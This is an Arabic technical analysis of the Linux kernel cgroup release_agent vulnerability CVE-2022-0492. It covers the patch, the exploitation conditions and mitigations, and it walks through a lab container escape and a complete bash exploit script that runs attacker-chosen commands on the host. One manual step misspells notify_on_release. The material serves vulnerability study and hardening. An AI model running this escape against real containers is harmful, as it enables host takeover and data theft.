
تحليل تقني مفصل واستغلال عملي لثغرة CVE-2022-0492 في نواة لينكس للهروب من الحاويات عبر cgroup release_agent، مع إعداد مختبري خطوة بخطوة وإرشادات للتخفيف من المخاطر.
[toc]
رقم الثغرة: CVE-2022-0492
المنتج المتأثر: linux kernel - cgroup
الإصدارات المتأثرة: ~linux kernel 5.17-rc3
خطورة الثغرة: عندما لا يتم تفعيل إجراءات أمنية إضافية في الحاوية، يمكن الحصول على صلاحيات الجذر داخل الحاوية والهروب إلى المضيف.
على نظام لينكس بنواة تحتوي على الإصدار المتأثر، يمكن استخدام docker.
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
تستخدم هذه المقالة docker كبيئة تجريبية.
طريقة استغلال هذه الثغرة أصبحت مألوفة بالفعل، لكن نقطة حدوث الثغرة هي غياب التحقق من الصلاحيات عند تعديل release_agent الخاص بـ cgroup، مما يؤدي إلى خفض عتبة استغلال الهروب بشكل أكبر (سابقًا كانت تتطلب صلاحية CAP_SYS_ADMIN، وهذه الثغرة لا تتطلب CAP_SYS_ADMIN). لمزيد من التفاصيل حول اختلاف شروط الاستغلال، انظر "شروط الاستغلال" أدناه.
بتحليل التصحيح، تم تعديل الدالة cgroup_release_agent_write وإضافة التحقق من الهوية. وهذا يعني أن release_agent الخاص بـ cgroup لم يعد مسموحًا للمستخدمين غير المصرح لهم بتعديله:

لذلك تم تحديد أن هذه الثغرة هي فشل في التحكم بالوصول.
cgroup هي اختصار لـ Linux Control Group، وهي إحدى وظائف نواة لينكس، تُستخدم لتقييد موارد مجموعة من العمليات والتحكم فيها وفصلها (مثل CPU، الذاكرة، الإدخال والإخراج للأقراص، إلخ).
تحتوي cgroup على الأنظمة الفرعية التالية:
devices صلاحيات الأجهزة على مستوى العملياتcpuset تخصيص عدد وحدات المعالجة (CPU) وعقد الذاكرة التي يمكن للعمليات استخدامهاcpu التحكم في نسبة استخدام المعالجcpuacct إحصائيات استخدام المعالج، مثل وقت التشغيل ووقت الخنق (throttled time)freezer إيقاف العمليات في Cgroup مؤقتًاnet_cls مع tc (التحكم في حركة المرور) لتقييد عرض النطاق الترددي للشبكةnet_prio تعيين أولوية حركة مرور الشبكة للعملياتhuge_tlb تقييد استخدام HugeTLBperf_event السماح لأداة Perf بإجراء فحوصات الأداء بناءً على مجموعات Cgroupأنظمة cgroup على المضيف موجودة تحت /sys/fs/cgroup، ويمكن رؤية أنظمة cgroup الفرعية المختلفة:

نظام cgroup الفرعي المقابل في docker هو عقدة فرعية لهذا cgroup على المضيف. عرض memory cgroup داخل docker:

العقدة المقابلة لاسم الحاوية في دليل docker على المضيف متطابقة تمامًا:

يُستخدم cgroup من خلال نظام الملفات، حيث يتم تركيب cgroup إلى دليل باستخدام mount، ويتفاعل cgroup معنا عبر نظام الملفات الافتراضي VFS. يتم عرض واجهة cgroup على شكل ملفات، ويمكن استخدام عمليات الملفات مباشرة لتعيين بعض معلمات cgroup.
mount -t cgroup -o memory cgroup /tmp/testcgroup

يمكن إنشاء عقدة فرعية من cgroup عن طريق إنشاء دليل فرعي تحت الدليل: mkdir /tmp/testcgroup/x.
كل نظام فرعي (subsystem) في cgroup يحتوي على معامل notify_on_release، وقيمة هذا المعامل من النوع Boolean، إما 1 أو 0، ويمكنهما تشغيل أمر وكيل التحرير (release agent) أو تعطيله على التوالي. إذا تم تفعيل notify_on_release (بقيمة 1)، فعندما لا يعد cgroup يحتوي على أي مهام (أي عندما يخرج آخر عملية في cgroup ويصبح PID في ملف tasks فارغًا)، سيقوم نواة النظام بتنفيذ محتوى الملف المحدد بواسطة معامل release_agent. ويتم تعديل قيمة notify_on_release عن طريق تعديل ملف notify_on_release.

تقع الثغرة عند تعديل release_agent. في الأصل، كان يكفي أن تتمكن من التعامل مع cgroup لتعديل release_agent، وكان استخدام cgroup يتطلب صلاحية CAP_SYS_ADMIN. لكن لاحقًا اكتشف الباحثون أنه يمكن الحصول على جميع الصلاحيات (capabilities) من خلال إنشاء namespace جديد باستخدام أمر unshare، وبذلك لم يعد تقييد CAP_SYS_ADMIN قائمًا، وانخفضت عتبة استغلال الثغرة بشكل كبير.
وظيفة أمر unshare هي إلغاء مشاركة namespaces المحددة الخاصة بالعملية الأب المشتركة، ثم تنفيذ البرنامج المحدد والانضمام إلى namespace الجديد. وما يهمنا في استغلال الثغرة هو أن namespace الجديد الذي ينشئه unshare يمتلك جميع الصلاحيات (capabilities) بما في ذلك CAP_SYS_ADMIN.

استغلال هذه الثغرة هو نفس طريقة الهروب التقليدية عبر CAP_SYS_ADMIN + cgroup release_agent، لكن شروط الاستغلال تختلف.
الفرق بين شروط استغلال هذه الثغرة وشروط الهروب التقليدي عبر release_agent هو:
release_agent التقليدي: يجب أن تمتلك الحاوية صلاحية CAP_SYS_ADMIN وألا يكون apparmor أو selinux مفعلًا.
cve-2022-0492: الحاوية بدون أي حماية (بتفصيل أكثر: ألا يمنع seccomp استخدام unshare، وألا يفعل apparmor وضع القراءة فقط لـ cgroup، وتعطيل selinux)، مع الحصول على صلاحيات الجذر داخل الحاوية. لا حاجة للحصول على CAP_SYS_ADMIN.
تجدر الإشارة إلى أن apparmor في docker يفعّل وضع القراءة فقط لـ cgroup افتراضيًا، وأن seccomp في docker يعطّل unshare بدون صلاحية CAP_SYS_ADMIN افتراضيًا. أما k8s فعادة ما تكون حاوياته بدون أي حماية افتراضيًا. عمومًا، نظرًا لأن الاستغلال سهل نسبيًا، يمكن تجربته في السيناريوهات المحددة.
بعد إصلاح الثغرة: وفقًا لشفرة التصحيح:

لتعديل ملف release_agent يجب توفر شرطين:
لذلك بعد إصلاح الثغرة، لم يعد بإمكان صلاحية CAP_SYS_ADMIN التي تم الحصول عليها عبر unshare تعديل release_agent، لأن namespace الجديد الذي تم الحصول عليه عبر unshare ليس namespace الجذر. لكن إذا كانت الحاوية تمتلك صلاحية CAP_SYS_ADMIN في الأصل، فلا يزال من الممكن استخدام هذه الطريقة للهروب.
إذا تم تشغيل docker مع المعامل --cap-add=SYS_ADMIN أو --privileged (حاوية مميزة)، فإنها تمتلك صلاحية CAP_SYS_ADMIN ولا نحتاج إلى الحصول عليها بشكل إضافي، مثل أمر التشغيل التالي:
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
يمكن لـ docker الذي يمتلك صلاحية CAP_SYS_ADMIN الانتقال مباشرة إلى الخطوة التالية "تعديل release_agent". أما أمر تشغيل docker بدون صلاحية CAP_SYS_ADMIN وإعادة إنتاج الثغرة:
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
بدون CAP_SYS_ADMIN، يمكن الحصول على صلاحية CAP_SYS_ADMIN عبر أمر unshare التالي:
unshare -UrmC --propagation=unchanged bash
namespace الجديد الذي تم الحصول عليه يمتلك جميع صلاحيات capabilities.

قم بتركيب cgroup إلى دليل. في هذه الخطوة، نظرًا لاستخدام mount، يلزم صلاحية CAP_SYS_ADMIN. بعد الخطوة السابقة، إما أن نكون نمتلك CAP_SYS_ADMIN في الأصل، أو حصلنا عليه عبر unshare. بالإضافة إلى ذلك، نحتاج إلى إنشاء عقدة cgroup داخل cgroup الذي تم تركيبه للتو، لتسهيل عملية مسح المهام (tasks) لاحقًا:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
إذا تعذر تركيب memory أو لم يحتوي memory على release_agent، يمكن استخدام نظام فرعي آخر من cgroup.
من خلال ملف /etc/mtab يمكن رؤية معلومات نظام ملفات overlay الخاص بـ docker، وupperdir هو المسار المطلق لجذر الحاوية على المضيف:

يمكن الحصول عليه عبر الأمر التالي:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
اضبط notify_on_release إلى 1 لتفعيل وظيفة release_agent بعد مسح مهام العملية:
echo 1 > /tmp/testcgroup/x/notify_no_release
أنشئ الملف الذي سيتم تنفيذه عند تفعيل release_agent:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
عدّل release_agent ليشير إلى مسار ملف cmd على المضيف (تم الحصول على مسار جذر الحاوية على المضيف أعلاه):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
الآن أدخل مهمة إلى عقدة cgroup x، واكتب PID الخاص بـ sh الحالي إلى ملف cgroup.procs.
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
ينفذ أمر sh تعليمة echo واحدة فقط وينتهي في لحظة، وبالتالي لن يتبقى أي مهام في عقدة cgroup x، مما يؤدي إلى تفعيل notify_on_release لتنفيذ ملف /cmd المشار إليه بواسطة release_agent. فتقوم النواة بتنفيذه خارج الحاوية لتنفيذ الأمر الذي حددناه، فيكتمل الهروب. نجاح الهروب:

وفقًا لهذه الخطوات، تمت كتابة exp:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
قم بتشغيله مباشرة مع تمرير الأمر الذي تريد تنفيذه بعد الهروب كمعامل، مثل: ./exp.sh "cat /etc/passwd"
نجاح الهروب:

الحالة الافتراضية لـ docker هي تفعيل seccomp وapparmor، ولا يمكن للثغرة الهروب من الحاويات التي تفعّل القواعد الافتراضية لـ seccomp وapparmor. أما k8s فافتراضيًا لا يحتوي على أي إجراءات أمنية، لذلك يجب تفعيل seccomp وapparmor أو selinux يدويًا.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
بالإضافة إلى ذلك، تم سؤال الأشخاص الذين شاركوا في اكتشاف هذه الثغرة.